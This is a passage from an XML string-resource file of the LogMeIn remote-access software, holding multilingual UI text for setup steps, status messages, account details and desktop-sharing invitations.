<hu>Kövesse a képernyőn megjelenő utasításokat. Ha felszólítást kap rá, írja be felhasználói nevét és jelszavát, ugyanúgy, ahogy a helyi bejelentkezéskor szokta.</hu>
<pt-br>Siga as instruções na tela. Se solicitado, insira seu nome de usuário e senha exatamente como se estivesse se conectando localmente.</pt-br>
<nl>Volg de instructies op het scherm. Wanneer daarnaar gevraagd wordt, voert u uw gebruikersnaam en wachtwoord in alsof u zich lokaal aanmeldt.</nl>
</msg>
<msg name="LINK_FORGOTACCC">
<en>Forgot your computer access code?</en>
<es>¿Olvidó el código de acceso de su ordenador?</es>
<de>Computer-Zugriffscode vergessen?</de>
<fr>Vous avez oublié votre code d'accès à l'ordinateur ?</fr>
<it>Dimenticato il codice di accesso al computer?</it>
<ru>Забыли код доступа к своему компьютеру?</ru>
<ja>コンピュータのアクセス コードをお忘れですか?</ja>
<zh>是否忘记您的计算机访问代码?</zh>
<ko>컴퓨터 액세스 코드를 잊어버렸습니까?</ko>
<en-gb>Forgot your computer access code?</en-gb>
<hu>Elfelejtette a számítógépe hozzáférési kódját?</hu>
<pt-br>Esqueceu o código de acesso do seu computador?</pt-br>
<nl>Bent u uw computertoegangscode vergeten?</nl>
</msg>
<msg name="COMMENT1">
<en>(You can change your access code anytime later in the Options tab.)</en>
<es>(Puede cambiar su código de acceso en cualquier momento, más adelante, en la ficha Opciones).</es>
<de>(Sie können Ihren Zugriffscode später jederzeit über die Registerkarte „Optionen“ ändern.)</de>
<fr>(Vous pouvez modifier votre code d'accès à tout moment dans l'onglet Options).</fr>
<it>(Sarà poi possibile modificare il codice di accesso in qualsiasi momento nella scheda Opzioni.)</it>
<ru>(Можно изменить код доступа в любое время на вкладке «Опции».)</ru>
<ja>(アクセス コードは [オプション] タブで後からいつでも変更できます。)</ja>
<zh>(您稍后随时可以在“选项”选项卡中更改访问代码。)</zh>
<ko>(나중에 옵션 탭에서 언제든지 액세스 코드를 변경할 수 있습니다.)</ko>
<en-gb>(You can change your access code anytime later in the Options tab.)</en-gb>
<hu>(A hozzáférési kódját később bármikor megváltoztathatja a Beállítások fülön.)</hu>
<pt-br>(Você pode alterar seu código de acesso mais tarde, na guia Opções.)</pt-br>
<nl>(U kunt uw toegangscode later, op een willekeurig moment, wijzigen op het tabblad Opties.)</nl>
</msg>
<msg name="STEP5">
<en>That’s it! You should see this desktop. You’re ready to remote control this computer!</en>
<es>¡Ya está! Debería ver este escritorio. Ya puede controlar este ordenador de forma remota.</es>
<de>Das war’s! Sie sollten diesen Desktop sehen. Sie können diesen Computer nun per Fernzugriff steuern!</de>
<fr>Et voilà ! Vous devriez voir ce bureau. Vous êtes prêt à contrôler cet ordinateur à distance !</fr>
<it>Questo è tutto! Si dovrebbe vedere questo desktop. Si è pronti per assumere il controllo remoto di questo computer!</it>
<ru>Все получилось! Вы должны увидеть данный рабочий стол. Вы готовы к удаленному управлению этим компьютером!</ru>
<ja>これで完了です。 このデスクトップが表示されているはずです。 このコンピュータをリモート制御する準備ができました。</ja>
<zh>就这么简单! 您应该看见此桌面。 您即将远程控制这台计算机!</zh>
<ko>모두 준비되었습니다! 이 데스크톱이 보여야 합니다. 이 컴퓨터를 원격 제어할 준비가 되었습니다!</ko>
<en-gb>That's it! You should see this desktop. You're ready to remote control this computer!</en-gb>
<hu>Ennyi mindössze! Most ezt az asztalt kell látnia. Ön készen áll e számítógép távvezérlésére!</hu>
<pt-br>É isso aí! Você verá esta área de trabalho. Você está pronto para controlar remotamente este computador!</pt-br>
<nl>Dat is alles! U zou dit bureaublad moeten zien. U bent klaar om deze computer op afstand te besturen!</nl>
</msg>
<msg name="DONTSHOW">
<en>Do not show me these instructions next time</en>
<es>No mostrarme estas instrucciones la próxima vez</es>
<de>Diese Anleitung nicht mehr anzeigen</de>
<fr>Ne plus afficher ces instructions</fr>
<it>Non mostrare più queste istruzioni</it>
<ru>Не отображать больше эти инструкции</ru>
<ja>次回からはこの説明を表示しない</ja>
<zh>下次不要再向我显示这些说明</zh>
<ko>다음에는 이 지침을 표시하지 않음</ko>
<en-gb>Do not show me these instructions next time</en-gb>
<hu>Legközelebb ne mutassa ezeket az utasításokat</hu>
<pt-br>Não mostrar estas instruções na próxima vez</pt-br>
<nl>Deze instructies de volgende keer niet meer tonen</nl>
</msg>
<msg name="NOOTHERCOMP">
<en>No other computer at hand? %PRODUCTNAME has other functions you can try now.</en>
<es>¿No tiene otra computadora a mano? %PRODUCTNAME tiene otras funciones que puede probar ahora.</es>
<de>Kein zweiter Computer in der Nähe? Probieren Sie andere Funktionen von %PRODUCTNAME aus.</de>
<fr>Pas d'autre ordinateur à portée de main ? %PRODUCTNAME dispose d'autres fonctionnalités que vous pouvez essayer maintenant.</fr>
<it>Altri computer a portata di mano? Vi sono altre funzioni di %PRODUCTNAME che è possibile provare ora.</it>
<ru>Нет другого компьютера под рукой? Программа %PRODUCTNAME имеет другие функции, которые можно опробовать сейчас.</ru>
<ja>別のコンピュータが近くになくても、%PRODUCTNAME には今すぐ試すことができる他の機能があります。</ja>
<zh>旁边没有其它计算机吗? %PRODUCTNAME 拥有您可以立即试用的其它功能。</zh>
<ko>컴퓨터가 한 대 뿐입니까? %PRODUCTNAME에는 이런 경우에 사용할 수 있는 다른 기능이 있습니다.</ko>
<en-gb>No other computer at hand? %PRODUCTNAME has other functions you can try now.</en-gb>
<hu>Nincs kéznél másik számítógép? A %PRODUCTNAME egyéb, most kipróbálható funkciókkal is rendelkezik.</hu>
<pt-br>Nenhum outro computador por perto? O %PRODUCTNAME possui outras funções que você pode testar agora.</pt-br>
<nl>Geen andere computer binnen handbereik? %PRODUCTNAME heeft andere functies die u nu kunt proberen.</nl>
</msg>
<msg name="FEATURES">
<en>Features you can try locally</en>
<es>Características que puede probar localmente</es>
<de>Lokal verfügbare Funktionen</de>
<fr>Fonctionnalités pouvant être testées en local</fr>
<it>Funzioni che è possibile provare localmente</it>
<ru>Функции, которые можно опробовать локально</ru>
<ja>ローカルで試すことができる機能</ja>
<zh>您可以在本地试用的功能</zh>
<ko>로컬에서 사용할 수 있는 기능</ko>
<en-gb>Features you can try locally</en-gb>
<hu>Helyben kipróbálható funkciók</hu>
<pt-br>Recursos que você pode experimentar localmente</pt-br>
<nl>Functies die u lokaal kunt uitproberen</nl>
</msg>
<msg name="MMMSG">
<en>Invite a trusted friend or colleague to view or control your computer.</en>
<es>Invite a un amigo o compañero de confianza a ver o controlar su ordenador.</es>
<de>Laden Sie einen vertrauenswürdigen Freund oder Kollegen ein, Ihren Desktop anzusehen oder Ihren Computer zu steuern.</de>
<fr>Invitez un ami ou collègue de confiance à voir ou contrôler votre bureau.</fr>
<it>Invita un amico o un collega fidato a visualizzare o controllare il tuo computer.</it>
<ru>Пригласите друга или коллегу для просмотра или управления вашим компьютером.</ru>
<ja>信頼できる友人や同僚を招待し、お使いのコンピュータの画面を表示または制御できるようにします。</ja>
<zh>邀请可靠的朋友或同事查看或控制您的计算机。</zh>
<ko>컴퓨터를 보거나 제어하기 위해 믿을 수 있는 친구나 동료를 초대합니다.</ko>
<en-gb>Invite a trusted friend or colleague to view or control your computer.</en-gb>
<hu>Hívjon meg egy megbízható barátot vagy munkatársat, hogy megtekintsék vagy kezeljék az Ön számítógépét.</hu>
<pt-br>Convide um amigo ou colega confiável para ver ou controlar seu computador.</pt-br>
<nl>Nodig vrienden of collega's uit om uw computer te bekijken of te besturen.</nl>
</msg>
<msg name="FSMSG">
<en>Allow friends to securely download files directly from this computer.</en>
<es>Permita a sus amigos descargar archivos de forma segura directamente de este ordenador.</es>
<de>Erlauben Sie Freunden, Dateien sicher von diesem Computer herunterzuladen.</de>
<fr>Autoriser vos amis à télécharger des fichiers de manière sécurisée, directement depuis cet ordinateur.</fr>
<it>Consenti agli amici di scaricare i file in sicurezza direttamente da questo computer.</it>
<ru>Разрешите друзьям безопасно загружать файлы непосредственно с этого компьютера.</ru>
<ja>お使いのコンピュータから友人がファイルを直接安全にダウンロードできるようにします。</ja>
<zh>允许朋友直接通过这台计算机安全地下载文件。</zh>
<ko>친구가 이 컴퓨터에서 파일을 직접 안전하게 다운로드할 수 있도록 허용합니다.</ko>
<en-gb>Allow friends to securely download files directly from this computer.</en-gb>
<hu>Engedélyezze barátainak, hogy biztonságosan letölthessenek fájlokat közvetlenül erről a számítógépről.</hu>
<pt-br>Permita aos amigos baixar arquivos com segurança diretamente deste computador.</pt-br>
<nl>Geef vrienden toestemming om direct op een veilige manier bestanden van deze computer te downloaden.</nl>
</msg>
<msg name="OPTIONS">
<en>Options</en>
<de>Optionen</de>
<es>Opciones</es>
<fr>Options</fr>
<it>Opzioni</it>
<ru>Параметры</ru>
<ja>オプション</ja>
<zh>选项</zh>
<ko>옵션</ko>
<en-gb>Options</en-gb>
<hu>Lehetőségek</hu>
<pt-br>Opções</pt-br>
<nl>Opties</nl>
</msg>
<msg name="OPTIONSMSG">
<en>Use tools to control and monitor  services on this computer.</en>
<es>Use las herramientas para controlar y supervisar servicios en este ordenador.</es>
<de>Nutzen Sie verschiedene Tools, um die Dienste auf diesem Computer zu steuern und zu überwachen.</de>
<fr>Utilisez des outils pour contrôler et surveiller les services sur cet ordinateur.</fr>
<it>Usa gli strumenti per controllare e monitorare i servizi in questo computer.</it>
<ru>Используйте инструменты для управления службами на этом компьютере и их мониторинга.</ru>
<ja>ツールを使用して、このコンピュータのサービスを制御および監視します。</ja>
<zh>使用工具控制和监视这台计算机上的服务。</zh>
<ko>도구를 사용하여 이 컴퓨터에 있는 서비스를 제어 및 모니터합니다.</ko>
<en-gb>Use tools to control and monitor  services on this computer.</en-gb>
<hu>Eszközök segítségével szolgáltatásokat vezérelhet és követhet nyomon ezen a számítógépen.</hu>
<pt-br>Use ferramentas para controlar e monitorar serviços neste computador.</pt-br>
<nl>Gebruik hulpprogramma's om de services op deze computer te besturen en te bewaken.</nl>
</msg>
<msg name="ABOUT">
<en>About</en>
<es>Acerca de</es>
<de>Info</de>
<fr>À propos de</fr>
<it>Informazioni</it>
<ru>О программе</ru>
<ja>バージョン情報</ja>
<zh>关于</zh>
<ko>정보</ko>
<en-gb>About</en-gb>
<hu>Névjegy</hu>
<pt-br>Sobre</pt-br>
<nl>Info over</nl>
</msg>
<msg name="ABOUTMSG">
<en>Check the version of the %PRODUCTNAME software running on this computer and your subscription details.</en>
<es>Compruebe la versión del software de %PRODUCTNAME que se está ejecutando en este ordenador y los detalles de su suscripción.</es>
<de>Sie können die auf diesem Computer ausgeführte Version der %PRODUCTNAME-Software sowie Einzelheiten zu Ihrem Abo abfragen.</de>
<fr>Consultez la version du logiciel %PRODUCTNAME lancé sur cet ordinateur et les détails de votre abonnement.</fr>
<it>Versione del software %PRODUCTNAME in esecuzione in questo computer e dettagli della sottoscrizione.</it>
<ru>Проверьте версию программы %PRODUCTNAME, запущенной на этом компьютере и сведения о подписке.</ru>
<ja>このコンピュータで実行中の %PRODUCTNAME ソフトウェアのバージョン、および利用期間の詳細を確認してください。</ja>
<zh>检查正在此计算机上运行的 %PRODUCTNAME 软件的版本和您订阅的详细信息。</zh>
<ko>이 컴퓨터에서 실행 중인 %PRODUCTNAME 소프트웨어 버전 및 가입 세부사항을 확인하십시오.</ko>
<en-gb>Check the version of the %PRODUCTNAME software running on this computer and your subscription details.</en-gb>
<hu>Ellenőrizze az ezen a gépen futó %PRODUCTNAME szoftver verzióját és előfizetésének részleteit.</hu>
<pt-br>Verifique a versão do software %PRODUCTNAME em execução neste computador e os detalhes da sua assinatura.</pt-br>
<nl>Controleerde de versie van de %PRODUCTNAME-software die op deze computer draait en de details van uw abonnement.</nl>
</msg>
<msg name="CLICKANY">
<en>Click any tab on the left to begin exploring.</en>
<es>Haga clic en cualquier ficha a la izquierda para comenzar a explorar.</es>
<de>Klicken Sie auf eine der Registerkarten links, um Ihren Rundgang zu starten.</de>
<fr>Cliquez sur tout onglet à gauche pour explorer le programme.</fr>
<it>Fare clic sulle schede a sinistra per iniziare l'esplorazione.</it>
<ru>Выберите любую вкладку слева для изучения функций.</ru>
<ja>左側のお好きなタブをクリックして操作してみてください。</ja>
<zh>单击左侧的任何选项卡以开始浏览。</zh>
<ko>탐색을 시작하려면 왼쪽에 있는 아무 탭이나 클릭하십시오.</ko>
<en-gb>Click any tab on the left to begin exploring.</en-gb>
<hu>A megismerés megkezdéséhez kattintson bármelyik fülre a bal oldalon.</hu>
<pt-br>Clique em qualquer guia à esquerda para iniciar a exploração.</pt-br>
<nl>Klik op elk willekeurig tabblad aan de linkerkant om met het verkennen te beginnen.</nl>
</msg>
</cat>
<cat name="OVERVIEW">
<msg name="TITLE">
<en>Overview</en>
<es>Introducción</es>
<de>Überblick</de>
<fr>Présentation</fr>
<it>Panoramica</it>
<ru>Обзор</ru>
<ja>概要</ja>
<zh>概况</zh>
<ko>개요</ko>
<en-gb>Overview</en-gb>
<hu>Áttekintés</hu>
<pt-br>Visão geral</pt-br>
<nl>Overzicht</nl>
</msg>
<msg name="THISCOMP">
<en>This computer:</en>
<es>Este ordenador:</es>
<de>Dieser Computer:</de>
<fr>Cet ordinateur :</fr>
<it>Questo computer:</it>
<ru>Этот компьютер:</ru>
<ja>このコンピュータ:</ja>
<zh>此计算机:</zh>
<ko>이 컴퓨터:</ko>
<en-gb>This computer:</en-gb>
<hu>Ez a számítógép:</hu>
<pt-br>Este computador:</pt-br>
<nl>Deze computer:</nl>
</msg>
<msg name="ACCESSSTAT1">
<en>Accessible via %PRODUCTNAME.com</en>
<es>Se puede acceder a través de %PRODUCTNAME.com</es>
<de>Zugriff über %PRODUCTNAME.com möglich</de>
<fr>Accessible par %PRODUCTNAME.com</fr>
<it>Accessibile tramite %PRODUCTNAME.com</it>
<ru>Доступен через %PRODUCTNAME.com</ru>
<ja>%PRODUCTNAME.com からアクセス可能</ja>
<zh>可通过 %PRODUCTNAME.com 访问</zh>
<ko>%PRODUCTNAME.com을 통해 액세스 가능</ko>
<en-gb>Accessible via %PRODUCTNAME.com</en-gb>
<hu>Elérhető a %PRODUCTNAME.com-on keresztül.</hu>
<pt-br>Acessível via %PRODUCTNAME.com</pt-br>
<nl>Toegankelijk via %PRODUCTNAME.com</nl>
</msg>
<msg name="ACCESSSTAT2">
<en>Not accessible for remote use via %PRODUCTNAME.</en>
<es>No accesible para uso remoto a través de %PRODUCTNAME.</es>
<de>Fernzugriff über %PRODUCTNAME nicht möglich.</de>
<fr>Non accessible pour une utilisation à distance via %PRODUCTNAME.</fr>
<it>Non accessibile per l'uso remoto tramite %PRODUCTNAME.</it>
<ru>Недоступен для удаленного использования через %PRODUCTNAME.</ru>
<ja>%PRODUCTNAME 経由でアクセスしてリモートで使用できません。</ja>
<zh>远程用户无法通过 %PRODUCTNAME 进行访问。</zh>
<ko>%PRODUCTNAME을(를) 통해 원격 사용에 액세스할 수 없습니다.</ko>
<en-gb>Not accessible for remote use via %PRODUCTNAME.</en-gb>
<hu>Nem elérhető a %PRODUCTNAME szolgáltatással.</hu>
<pt-br>Não acessível para uso remoto via %PRODUCTNAME.</pt-br>
<nl>Niet toegankelijk voor gebruik op afstand via %PRODUCTNAME.</nl>
</msg>
<msg name="GWSTAT1">
<en>Ready but offline. Check your network connections.</en>
<es>Listo pero desconectado. Compruebe sus conexiones de red.</es>
<de>Bereit, aber offline. Überprüfen Sie Ihre Netzwerkverbindungen.</de>
<fr>Prêt mais hors ligne. Vérifiez vos connexions réseau.</fr>
<it>Pronto ma non in linea. Controllare le connessioni di rete.</it>
<ru>Готов, но работает автономно. Проверьте сетевые подключения.</ru>
<ja>準備はできていますがオフラインです。 ネットワーク接続を確認してください。</ja>
<zh>准备就绪但已脱机。 检查您的网络连接。</zh>
<ko>준비되었지만 오프라인입니다. 네트워크 연결을 확인하십시오.</ko>
<en-gb>Ready but offline. Check your network connections.</en-gb>
<hu>Készen áll, de kapcsolaton kívüli. Ellenőrizze a hálózati kapcsolatait.</hu>
<pt-br>Pronto, mas offline. Verifique suas conexões de rede.</pt-br>
<nl>Gereed maar offline. Controleer uw netwerkverbindingen.</nl>
</msg>
<msg name="GWSTAT2">
<en>%PRODUCTNAME is turned off.</en>
<es>%PRODUCTNAME está apagado.</es>
<de>%PRODUCTNAME ist nicht aktiv.</de>
<fr>%PRODUCTNAME est désactivé.</fr>
<it>%PRODUCTNAME è disattivato.</it>
<ru>Программа %PRODUCTNAME отключена.</ru>
<ja>%PRODUCTNAME がオフになっています。</ja>
<zh>%PRODUCTNAME 已关闭。</zh>
<ko>%PRODUCTNAME이(가) 꺼져 있습니다.</ko>
<en-gb>%PRODUCTNAME is turned off.</en-gb>
<hu>A %PRODUCTNAME ki van kapcsolva.</hu>
<pt-br>O %PRODUCTNAME está desligado.</pt-br>
<nl>%PRODUCTNAME is afgemeld.</nl>
</msg>
<msg name="GWSTAT3">
<en>Ready and online ($1)</en>
<es>Listo y en línea $1</es>
<de>Bereit und online $1</de>
<fr>Prêt et en ligne $1</fr>
<it>Pronto e in linea $1</it>
<ru>Готов и подключен к сети $1</ru>
<ja>準備ができて $1 の間オンラインになっています</ja>
<zh>已准备就绪并在线达</zh>
<ko>준비되었고 "$1"분 후에 온라인 상태가 됩니다.</ko>
<en-gb>Ready and online ($1)</en-gb>
<hu>Készen áll, és elérhető $1</hu>
<pt-br>Pronto e online $1</pt-br>
<nl>Klaar en online $1</nl>
</msg>
<msg name="GWSTAT4">
<en>This computer is not associated with a %PRODUCTNAME account.</en>
<es>Este ordenador no está asociado con una cuenta de %PRODUCTNAME.</es>
<de>Dieser Computer ist noch nicht mit einem %PRODUCTNAME-Konto verknüpft.</de>
<fr>Cet ordinateur n'est pas associé à un compte %PRODUCTNAME.</fr>
<it>Il computer non è associato ad un account %PRODUCTNAME.</it>
<ru>Этот компьютер не связан с учетной записью %PRODUCTNAME.</ru>
<ja>このコンピュータは %PRODUCTNAME アカウントに関連付けられていません。</ja>
<zh>这台计算机尚未与 %PRODUCTNAME 帐户关联。</zh>
<ko>이 컴퓨터는 %PRODUCTNAME 계정에 가입되지 않았습니다.</ko>
<en-gb>This computer is not associated with a %PRODUCTNAME account.</en-gb>
<hu>Ez a számítógép nincs társítva %PRODUCTNAME fiókkal.</hu>
<pt-br>Este computador não está associado a uma conta do %PRODUCTNAME.</pt-br>
<nl>Deze computer is niet gekoppeld aan een %PRODUCTNAME-account.</nl>
</msg>
<msg name="BTN_TURNON">
<en>Turn on</en>
<es>Encender</es>
<de>Starten</de>
<fr>Activer</fr>
<it>Attiva</it>
<ru>Включить</ru>
<ja>オン</ja>
<zh>打开</zh>
<ko>시작</ko>
<en-gb>Turn on</en-gb>
<hu>Kapcsolja be</hu>
<pt-br>Ligar</pt-br>
<nl>Activeren</nl>
</msg>
<msg name="BTN_TURNOFF">
<en>Turn off</en>
<es>Apagar</es>
<de>Beenden</de>
<fr>Désactiver</fr>
<it>Disattiva</it>
<ru>Выключить</ru>
<ja>オフ</ja>
<zh>关闭</zh>
<ko>종료</ko>
<en-gb>Turn off</en-gb>
<hu>Kapcsolja ki</hu>
<pt-br>Desligar</pt-br>
<nl>Uitschakelen</nl>
</msg>
<msg name="NO_VALID_SUBSCRIPTION">
<en>There is no valid subsciption assigned to this computer.</en>
</msg>
<msg name="HOSTNAME">
<en>Computer name</en>
<de>Computername</de>
<es>Nombre del ordenador</es>
<fr>Nom de l'ordinateur</fr>
<it>Nome computer</it>
<ru>Имя компьютера</ru>
<ja>コンピュータ名</ja>
<zh>计算机名称</zh>
<ko>컴퓨터 이름</ko>
<en-gb>Computer name</en-gb>
<hu>Számítógépnév</hu>
<pt-br>Nome do computador</pt-br>
<nl>Computernaam</nl>
</msg>
<msg name="DESCRIPTION">
<en>Description</en>
<de>Beschreibung</de>
<es>Descripción</es>
<fr>Description</fr>
<it>Descrizione</it>
<ru>Описание</ru>
<ja>説明</ja>
<zh>说明</zh>
<ko>설명</ko>
<en-gb>Description</en-gb>
<hu>Leírás</hu>
<pt-br>Descrição</pt-br>
<nl>Beschrijving</nl>
</msg>
<msg name="ACCMAIL">
<en>%PRODUCTNAME account holder's email:</en>
<es>Correo electrónico del titular de la cuenta de %PRODUCTNAME:</es>
<de>E-Mail-Adresse des %PRODUCTNAME-Kontoinhabers:</de>
<fr>Email du titulaire de compte %PRODUCTNAME :</fr>
<it>E-mail del titolare dell'account %PRODUCTNAME:</it>
<ru>Адрес электронной почты владельца учетной записи %PRODUCTNAME:</ru>
<ja>%PRODUCTNAME アカウント ホルダの電子メール:</ja>
<zh>%PRODUCTNAME 帐户持有人的电子邮件:</zh>
<ko>%PRODUCTNAME 계정 소유자 전자 메일:</ko>
<en-gb>%PRODUCTNAME account holder's email:</en-gb>
<hu>A %PRODUCTNAME fióktulajdonos e-mail címe:</hu>
<pt-br>Email do titular da conta do %PRODUCTNAME:</pt-br>
<nl>E-mailadres %PRODUCTNAME account-eigenaar:</nl>
</msg>
<msg name="NUMREMUSERS">
<en>Connected remote users:</en>
<es>Usuarios remotos conectados:</es>
<de>Verbundene Remotebenutzer:</de>
<fr>Utilisateurs distants connectés :</fr>
<it>Utenti remoti connessi:</it>
<ru>Подключенные удаленные пользователи:</ru>
<ja>接続中のリモート ユーザ:</ja>
<zh>连接的远程用户:</zh>
<ko>다음 원격 사용자와 연결됨:</ko>
<en-gb>Connected remote users:</en-gb>
<hu>Csatlakozó távoli felhasználók:</hu>
<pt-br>Usuários remotos conectados:</pt-br>
<nl>Verbonden gebruikers op afstand:</nl>
</msg>
<msg name="SHAREDFILES">
<en>Shared files:</en>
<es>Archivos compartidos:</es>
<de>Freigegebene Dateien:</de>
<fr>Fichiers partagés :</fr>
<it>File condivisi:</it>
<ru>Общие файлы:</ru>
<ja>共有ファイル:</ja>
<zh>共享的文件:</zh>
<ko>공유 파일:</ko>
<en-gb>Shared files:</en-gb>
<hu>Megosztott fájlok:</hu>
<pt-br>Arquivos compartilhados:</pt-br>
<nl>Gedeelde bestanden:</nl>
</msg>
<msg name="PENDINGMMS">
<en>Pending Desktop Sharing invitations:</en>
<es>Invitaciones pendientes de Escritorio compartido:</es>
<de>Ausstehende Einladungen zur Desktopfreigabe:</de>
<fr>Invitations de partage de bureau en attente :</fr>
<it>Inviti alla Condivisione dei file in attesa:</it>
<ru>Еще не принятые приглашения к совместному использованию рабочего стола:</ru>
<ja>保留中のデスクトップ共有の招待数:</ja>
<zh>待批桌面共享邀请:</zh>
<ko>보류 중인 데스크톱 공유 초대:</ko>
<en-gb>Pending Desktop Sharing invitations:</en-gb>
<hu>Függőben lévő Képernyőmegosztás meghívók:</hu>
<pt-br>Convites pendentes de compartilhamento da área de trabalho:</pt-br>
<nl>Uitnodigingen voor Delen van bureaublad in behandeling:</nl>
</msg>
<msg name="COMPACCESS">
<en>Other computers:</en>
<es>Otros ordenadores:</es>
<de>Andere Computer:</de>
<fr>Autres ordinateurs :</fr>
<it>Altri computer:</it>
<ru>Другие компьютеры:</ru>
<ja>その他のコンピュータ:</ja>
<zh>其它计算机:</zh>
<ko>기타 컴퓨터:</ko>
<en-gb>Other computers:</en-gb>
<hu>Egyéb számítógépek:</hu>
<pt-br>Outros computadores:</pt-br>
<nl>Overige computers:</nl>
</msg>
<msg name="LINK_OPENMYCOMP">
<en>Show My Computers</en>
<es>Mostrar Mis ordenadores</es>
<de>Meine Computer anzeigen</de>
<fr>Afficher Mes ordinateurs</fr>
<it>Mostra I miei computer</it>
<ru>Отобразить «Мои компьютеры»</ru>
<ja>マイ コンピュータを表示</ja>
<zh>显示我的计算机</zh>
<ko>내 컴퓨터 보기</ko>
<en-gb>Show My Computers</en-gb>
<hu>Számítógépeim megjelenítése</hu>
<pt-br>Mostrar meus computadores</pt-br>
<nl>Toon Mijn computers</nl>
</msg>
<msg name="OPENMY_COMM">
<en>(opens my %PRODUCTNAME account in a web browser)</en>
<es>(abre mi cuenta de %PRODUCTNAME en un navegador Web)</es>
<de>(öffnet Ihr %PRODUCTNAME-Konto in einem Webbrowser)</de>
<fr>(ouvre mon compte %PRODUCTNAME dans un navigateur Web)</fr>
<it>(apre l'account %PRODUCTNAME in un browser Web)</it>
<ru>(открытие моей учетной записи %PRODUCTNAME в веб-браузере)</ru>
<ja>(自分の %PRODUCTNAME アカウントを Web ブラウザで開きます)</ja>
<zh>(在 Web 浏览器中打开我的 %PRODUCTNAME 帐户)</zh>
<ko>(웹 브라우저에서 내 %PRODUCTNAME 계정 열기)</ko>
<en-gb>(opens my %PRODUCTNAME account in a web browser)</en-gb>
<hu>(saját %PRODUCTNAME fiók megnyitása webböngészőben)</hu>
<pt-br>(abre minha conta do %PRODUCTNAME em um navegador da Web)</pt-br>
<nl>(opent mijn %PRODUCTNAME-account in een webbrowser)</nl>
</msg>
<msg name="START_CLIENT">
<en>Start LogMeIn Client</en>
<es>Iniciar LogMeIn Client</es>
<de>LogMeIn-Client starten</de>
<fr>Démarrer LogMeIn Client</fr>
<it>Avvia il client LogMeIn</it>
<nl>Start LogMeIn Client</nl>
<pt-br>Iniciar cliente do LogMeIn</pt-br>
<hu>Indítsa el a LogMeIn klienst</hu>
<ru>Запустить клиент LogMeIn</ru>
<ja>LogMeIn クライアントを起動</ja>
<ko>LogMeIn 클라이언트 시작</ko>
<zh>启动 LogMeIn 客户端</zh>
</msg>
<msg name="TO_ACCESS_COMPUTER">
<en>To access LogMeIn host computers in your account, log in at LogMeIn.com or use LogMeIn Client.</en>
<de>Melden Sie sich auf LogMeIn.com an oder nutzen Sie den LogMeIn-Client, um auf LogMeIn-Hostcomputer in Ihrem Konto zuzugreifen.</de>
<es>Para acceder a los ordenadores host con LogMeIn de su cuenta, inicie sesión de LogMeIn.com o utilice LogMeIn Client.</es>
<fr>Pour accéder aux ordinateurs hôtes de votre compte, connectez-vous sur LogMeIn.com ou utilisez LogMeIn Client.</fr>
<it>Per accedere ai computer host LogMeIn del proprio account, eseguire l'accesso su LogMeIn.com oppure usare client LogMeIn.</it>
<ru>Для получения доступа к хост-компьютерам с LogMeIn в вашей учетной записи войдите на веб-сайт LogMeIn.com или используйте клиент LogMeIn.</ru>
<ja>アカウント内の LogMeIn ホスト コンピュータにアクセスするには、LogMeIn.com でログインするか、LogMeIn クライアントを起動 を使用します。</ja>
<zh>若要通过您的帐号访问 LogMeIn 主机,通过 LogMeIn.com 或使用 LogMeIn 客户端 登陆。</zh>
<ko>계정에 있는 LogMeIn 호스트 컴퓨터에 액세스하려면 LogMeIn.com에 로그인하거나 LogMeIn 클라이언트 시작 사용하십시오.</ko>
<en-gb>To access LogMeIn host computers in your account, log in at LogMeIn.com or use LogMeIn Client.</en-gb>
<hu>A LogMeIn gazdagépeinek az Ön fiókján keresztül történő eléréséhez lépjen be a LogMeIn.com oldalra, vagy használja a LogMeIn kliens szoftvert.</hu>
<pt-br>Para acessar computadores host do LogMeIn na sua conta, efetue login no LogMeIn.com ou use o cliente do LogMeIn.</pt-br>
<nl>Om LogMeIn host-computers binnen uw account te benaderen, meldt u zich aan bij LogMeIn.com of gebruikt u LogMeIn Client.</nl>
</msg>
<msg name="USEMAIL">
<en>Use $1 as my account login email</en>
<es>Usar $1 como correo electrónico de inicio de sesión de mi cuenta</es>
<de>$1 als E-Mail-Adresse für die Kontoanmeldung verwenden</de>
<fr>Utiliser $1 comme email de connexion à mon compte</fr>
<it>Usa $1 come e-mail di accesso al mio account</it>
<ru>Использовать $1 как адрес электронной почты для входа в учетную запись</ru>
<ja>$1 をアカウント ログインのメールとして使用する</ja>
<zh>将 $1 用作我的帐户登录电子邮件</zh>
<ko>내 계정 로그인 전자 메일로 $1 사용</ko>
<en-gb>Use $1 as my account login email</en-gb>
<hu>A(z) $1 használata saját fiókom bejelentkezési e-mailjeként</hu>
<pt-br>Usar $1 como email de login na minha conta</pt-br>
<nl>Gebruik $1 als e-mail om bij het account aan te melden</nl>
</msg>
</cat>
<cat name="DESKTOPSHARING">
<msg name="INVAG">
<en>Share Your Desktop</en>
<es>Compartir su escritorio</es>
<de>Desktop freigeben</de>
<fr>Partager votre bureau</fr>
<it>Condividi il desktop</it>
<ru>Совместно использовать рабочий стол</ru>
<ja>デスクトップの共有</ja>
<zh>共享您的桌面</zh>
<ko>데스크톱 공유</ko>
<en-gb>Share Your Desktop</en-gb>
<hu>Ossza meg képernyőjét</hu>
<pt-br>Compartilhar a área de trabalho</pt-br>
<nl>Deel uw Bureaublad</nl>
</msg>
<msg name="MSG_1">
<en>Invite a trusted friend or colleague to view or control your desktop. The person you invite will be able to see your work and, with your permission, take control of your keyboard and mouse.</en>
<es>Invite a un amigo o compañero de confianza a ver o controlar su ordenador. La persona a la que invite podrá ver lo que está haciendo y, con su permiso, tomar el control de su teclado y de su ratón.</es>
<de>Laden Sie einen vertrauenswürdigen Freund oder Kollegen ein, Ihren Desktop anzusehen oder zu steuern. Die eingeladene Person kann sehen, woran Sie gerade arbeiten, und mit Ihrer Zustimmung die Kontrolle über Ihre Tastatur und Ihre Maus übernehmen.</de>
<fr>Invitez un ami ou collègue de confiance à voir ou contrôler votre bureau. La personne invitée pourra voir sur quoi vous travaillez et, avec votre autorisation, prendre le contrôle de votre clavier et de votre souris.</fr>
<it>Invita un amico o un collega fidato a visualizzare o controllare il tuo desktop. La persona invitata potrà vedere quello che stai facendo e, con la tua autorizzazione, assumere il controllo della tua tastiera e del tuo mouse.</it>
<ru>Пригласите доверенного друга или коллегу для просмотра или управления вашим рабочим столом. Приглашенный человек должен сможет наблюдать за вашими действиями и с вашего разрешения управлять клавиатурой и мышью.</ru>
<ja>信頼できる友人や同僚を招待し、自分のデスクトップを表示または制御できるようにします。 招待されたユーザは、こちら側で実行している操作を表示し、許可を与えれば、こちら側のキーボードとマウスを制御できます。</ja>
